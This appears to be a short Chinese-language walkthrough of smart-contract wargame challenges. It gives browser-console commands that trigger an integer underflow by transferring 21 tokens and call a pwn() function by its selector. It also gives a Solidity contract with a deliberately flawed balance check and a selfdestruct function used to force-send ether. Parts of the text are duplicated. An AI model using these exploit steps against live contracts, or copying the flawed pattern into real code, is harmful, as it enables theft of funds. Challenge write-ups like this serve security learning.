
Subscribe to hujiawei

Subscribe to hujiawei
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
1.谷歌浏览器输入
await contract.transfer('0x477b8d5ef7c2c42db84deb555419cd817c336b6f' , 20 + 1)
确认后提交
1.谷歌浏览器输入
var pwned_attck = web3.utils.keccak256("pwn()")
2.谷歌浏览器输入
contract.sendTransaction({data: pwned_attck})
结提交任务,进入下一个测试。
1.在remix.ethereum.org简历新的文件夹,并编辑以下代码:
pragma solidity ^0.8.0;
contract OUflows{ mapping(address=>uint) public balances; constructor() payable public{ balances[msg.sender] = 20; }
function transfer(address _to, uint _value) public returns (bool) { require((balances[msg.sender] - _value) >=0); balances[msg.sender] -= _value; balances[_to] += _value; return true; }
1.谷歌浏览器输入
await contract.transfer('0x477b8d5ef7c2c42db84deb555419cd817c336b6f' , 20 + 1)
确认后提交
1.谷歌浏览器输入
var pwned_attck = web3.utils.keccak256("pwn()")
2.谷歌浏览器输入
contract.sendTransaction({data: pwned_attck})
结提交任务,进入下一个测试。
1.在remix.ethereum.org简历新的文件夹,并编辑以下代码:
pragma solidity ^0.8.0;
contract OUflows{ mapping(address=>uint) public balances; constructor() payable public{ balances[msg.sender] = 20; }
function transfer(address _to, uint _value) public returns (bool) { require((balances[msg.sender] - _value) >=0); balances[msg.sender] -= _value; balances[_to] += _value; return true; }
function kill(address payable _addr) public { selfdestruct(_addr); }}部署合约,按下图填写对应表格:

2.谷歌浏览器开发者工具中输入 instance ,复制改地址,填入下图的位置中,并点击kill,确认钱包。任务结束,提交并进入下一个测试。

function kill(address payable _addr) public { selfdestruct(_addr); }}部署合约,按下图填写对应表格:

2.谷歌浏览器开发者工具中输入 instance ,复制改地址,填入下图的位置中,并点击kill,确认钱包。任务结束,提交并进入下一个测试。

No activity yet